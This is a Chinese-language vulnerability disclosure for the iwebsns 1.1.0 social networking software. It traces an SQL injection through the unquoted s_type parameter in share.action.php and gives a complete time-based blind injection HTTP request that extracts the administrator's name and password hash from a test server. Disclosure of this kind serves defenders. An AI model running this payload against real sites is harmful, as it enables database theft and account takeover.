### 简要描述:
Iwebsns最新版SQL注入第十枚
### 详细说明:
在wooyun上看到雨牛提了5个iwebsns的漏洞了( [WooYun: Iwebsns sql 第五枚。](http://www.wooyun.org/bugs/wooyun-2014-061267) ),我来捡捡漏儿吧,已对比,不重复,下载Iwebsns最新的1.1.0来看看。
为了使审核的大大们容易确认是否有重复,我先把存在漏洞的文件和注入参数分别写在这里:/action/share/share.action.php s_type
下面看看漏洞是怎么产生的
/action/share/share.action.php
```
无关代码
$user_id=get_sess_userid();
$s_comment=short_check(get_argp('comment'));
$s_type=short_check(get_argg('s_type'));
$s_content_id=intval(get_argg('share_content_id'));
$title_data=short_check(get_argp('title_data'));
$re_link=short_check(get_argp('re_link'));
$re_thumb=get_session('m_thumb');
$re_m_link=get_session('m_link');
$tag=short_check(get_argp('tag'));
//数据表定义
$t_share=$tablePreStr."share";
//初始化数据库操作对象
$dbo=new dbex;
dbtarget('r',$dbServs);
if(empty($re_link)){
$col=" and for_content_id='$s_content_id' ";
}else{
$col=" and out_link= '$re_link' ";
}
$sql="select s_id from $t_share where user_id=$user_id and type_id=$s_type $col";
$is_share=$dbo->getRow($sql);
if(!empty($is_share)){
echo $s_langpackage->s_is_share;exit;
}
无关代码
```
s_type经过short_check,来看看short_check,/foundation/freq_filter.php
```
function short_check($str)
{
$MaxSlen=500;//限制短输入项最多300个字符
if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开
{
$str = addslashes($str); // 进行过滤
}
$str = LenLimit($str,$MaxSlen);
$str = str_replace(array("\'","\\","#"),"",$str);
if($str!=''){
$str= htmlspecialchars($str);
}
return preg_replace("/ +/","",trim($str));
}
```
先进行addslashes,再htmlspecialchars,但是这里是数字,上面编码无任何作用。
Iwebsns没有错误回显,这里用time-based blind进行注入测试。
Paload:
```
POST /do.php?act=share_action&s_type=-1/**/or/**//**/(select/**/if(ord(mid((select/**/admin_name/**/from/**/isns_admin/**/where
/**/admin_id=1/**/limit/**/0,1),1,1))=0x7a,sleep(3),0))&share_content_id=0 HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=UTF-8;encoding=utf-8
Referer: http://192.168.0.107/main.php
Content-Length: 61
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; iweb_hisgoods[15]=1417531949; iweb_hisgoods[26]=1417866015; iweb_email=pigtest@163.com; PHPSESSID=m7fvrk38fpfecbjjur7egblrl6; post_sep_time=1418208137
Connection: keep-alive
Pragma: no-cache
comment=test&title_data=test&re_link=http://test.com&tag=test
```
猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图
[<img src="https://images.seebug.org/upload/201412/11003733a80e20bcb86dde5ec93f502c2bca53b5.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/11003733a80e20bcb86dde5ec93f502c2bca53b5.jpg)
若正确,延迟5s左右,如下图
[<img src="https://images.seebug.org/upload/201412/1100374360ed249a77c53a86faef2168ab951275.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/1100374360ed249a77c53a86faef2168ab951275.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: 21232f297a57a5a743894a0e4a801fc3
### 漏洞证明:
见 详细说明
暂无评论